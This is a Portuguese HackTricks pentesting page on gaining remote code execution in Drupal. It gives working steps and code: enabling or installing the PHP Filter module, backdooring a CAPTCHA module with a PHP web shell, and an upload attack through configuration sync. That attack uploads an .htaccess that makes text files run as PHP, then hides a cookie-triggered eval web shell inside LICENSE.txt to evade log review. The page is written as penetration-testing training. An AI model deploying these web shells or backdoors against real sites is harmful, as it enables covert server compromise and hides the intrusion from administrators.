hacktricks/network-services-pentesting/pentesting-web/drupal/drupal-rce.md

286 lines
13 KiB
Markdown
Raw Normal View History

# Drupal RCE
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
## Com o Módulo PHP Filter
{% hint style="warning" %}
Em versões mais antigas do Drupal **(antes da versão 8)**, era possível fazer login como administrador e **ativar o módulo `PHP filter`**, que "Permite que códigos/snippets PHP incorporados sejam avaliados." Mas a partir da versão 8, este módulo não é instalado por padrão.
{% endhint %}
Você precisa que o **plugin php esteja instalado** (verifique acessando _/modules/php_ e se retornar um **403** então, **existe**, se **não encontrado**, então o **plugin php não está instalado**)
Vá para _Módulos_ -> (**Verifique**) _PHP Filter_ -> _Salvar configuração_
![](<../../../.gitbook/assets/image (247) (1).png>)
Então clique em _Adicionar conteúdo_ -> Selecione _Página Básica_ ou _Artigo -_> Escreva _shellcode php no corpo_ -> Selecione _código PHP_ em _Formato de texto_ -> Selecione _Pré-visualizar_
![](<../../../.gitbook/assets/image (338).png>)
Finalmente, acesse o nó recém-criado:
```bash
curl http://drupal-site.local/node/3
```
## Instalar o Módulo PHP Filter
{% hint style="warning" %}
Nas versões atuais, não é mais possível instalar plugins apenas tendo acesso à web após a instalação padrão.
{% endhint %}
A partir da versão **8**, o **[PHP Filter](https://www.drupal.org/project/php/releases/8.x-1.1)** **não é instalado por padrão**. Para aproveitar essa funcionalidade, teríamos que **instalar o módulo nós mesmos**.
1. Baixe a versão mais recente do módulo no site do Drupal.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Uma vez baixado, vá para **`Administração`** > **`Relatórios`** > **`Atualizações disponíveis`**.
3. Clique em **`Procurar`**, selecione o arquivo do diretório para o qual o baixamos e clique em **`Instalar`**.
4. Uma vez que o módulo esteja instalado, podemos clicar em **`Conteúdo`** e **criar uma nova página básica**, semelhante ao que fizemos no exemplo do Drupal 7. Novamente, certifique-se de **selecionar `Código PHP` no menu suspenso `Formato de texto`**.
## Módulo com Backdoor
{% hint style="warning" %}
Nas versões atuais, não é mais possível instalar plugins apenas tendo acesso à web após a instalação padrão.
{% endhint %}
Um módulo com backdoor pode ser criado **adicionando um shell a um módulo existente**. Módulos podem ser encontrados no site drupal.org. Vamos escolher um módulo como [CAPTCHA](https://www.drupal.org/project/captcha). Role para baixo e copie o link para o tar.gz [arquivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
* Baixe o arquivo e extraia seu conteúdo.
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* Crie um **PHP web shell** com o conteúdo:
```php
<?php
system($_GET["cmd"]);
?>
```
* Em seguida, precisamos criar um **`.htaccess`** arquivo para nos dar acesso à pasta. Isso é necessário, pois o Drupal nega acesso direto à pasta **`/modules`**.
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
* A configuração acima aplicará regras para a pasta / quando solicitarmos um arquivo em /modules. Copie ambos os arquivos para a pasta captcha e crie um arquivo.
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Supondo que temos **acesso administrativo** ao site, clique em **`Gerenciar`** e depois em **`Estender`** na barra lateral. Em seguida, clique no botão **`+ Instalar novo módulo`**, e seremos levados à página de instalação, como `http://drupal-site.local/admin/modules/install`. Navegue até o arquivo do Captcha com backdoor e clique em **`Instalar`**.
* Uma vez que a instalação seja bem-sucedida, navegue até **`/modules/captcha/shell.php`** para executar comandos.
## Backdooring Drupal com sincronização de configuração <a href="#backdooring-drupal" id="backdooring-drupal"></a>
**Post compartilhado por** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
### Parte 1 (ativação de _Mídia_ e _Biblioteca de Mídia_)
No menu _Estender_ (/admin/modules), você pode ativar o que parecem ser plugins já instalados. Por padrão, os plugins _Mídia_ e _Biblioteca de Mídia_ não parecem estar ativados, então vamos ativá-los.
Antes da ativação:
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Depois da ativação:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Parte 2 (aproveitando o recurso _Sincronização de configuração_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
Vamos aproveitar o recurso _Sincronização de configuração_ para despejar (exportar) e fazer upload (importar) entradas de configuração do Drupal:
* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import
**Patch system.file.yml**
Vamos começar fazendo patch na primeira entrada `allow_insecure_uploads` de:
Arquivo: system.file.yml
```
...
allow_insecure_uploads: false
...
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Para:
Arquivo: system.file.yml
```
...
allow_insecure_uploads: true
...
```
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field\_media\_document.yml**
Em seguida, aplique o patch na segunda entrada `file_extensions` de:
Arquivo: field.field.media.document.field\_media\_document.yml
```
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
```
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
Para:
Arquivo: field.field.media.document.field\_media\_document.yml
```
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
```
> Eu não uso isso neste post do blog, mas é importante notar que é possível definir a entrada `file_directory` de maneira arbitrária e que é vulnerável a um ataque de traversal de caminho (então podemos voltar dentro da árvore do sistema de arquivos do Drupal).
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Parte 3 (aproveitando o recurso _Adicionar Documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
A última etapa é a mais simples e é dividida em duas subetapas. A primeira é fazer o upload de um arquivo no formato .htaccess para aproveitar as diretivas do Apache e permitir que arquivos .txt sejam interpretados pelo motor PHP. A segunda é fazer o upload de um arquivo .txt contendo nosso payload.
Arquivo: .htaccess
```
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
```
Por que esse truque é legal?
Porque uma vez que o Webshell (que chamaremos de LICENSE.txt) é colocado no servidor Web, podemos transmitir nossos comandos via `$_COOKIE` e nos logs do servidor Web, isso aparecerá como uma solicitação GET legítima para um arquivo de texto.
Por que nomear nosso Webshell LICENSE.txt?
Simplesmente porque se pegarmos o seguinte arquivo, por exemplo [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (que já está presente no núcleo do Drupal), temos um arquivo de 339 linhas e 17,6 KB de tamanho, que é perfeito para adicionar um pequeno trecho de código PHP no meio (já que o arquivo é grande o suficiente).
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
Arquivo: LICENSE.txt corrigido
```txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
```
#### **Parte 3.1 (upload arquivo .htaccess)**
Primeiro, aproveitamos o recurso _Adicionar Documento_ (/media/add/document) para fazer o upload do nosso arquivo contendo as diretivas do Apache (.htaccess).
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Parte 3.2 (upload arquivo LICENSE.txt)**
Em seguida, aproveitamos novamente o recurso _Adicionar Documento_ (/media/add/document) para fazer o upload de um Webshell oculto dentro de um arquivo de licença.
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
### Parte 4 (interação com o Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
A última parte consiste em interagir com o Webshell.
Como mostrado na captura de tela a seguir, se o cookie esperado pelo nosso Webshell não estiver definido, obtemos o resultado subsequente ao consultar o arquivo via um navegador Web.
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
Quando o atacante define o cookie, ele pode interagir com o Webshell e executar quaisquer comandos que desejar.
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
E como você pode ver nos logs, parece que apenas um arquivo txt foi solicitado.
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
Obrigado por dedicar seu tempo para ler este artigo, espero que ele ajude você a obter alguns shells.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}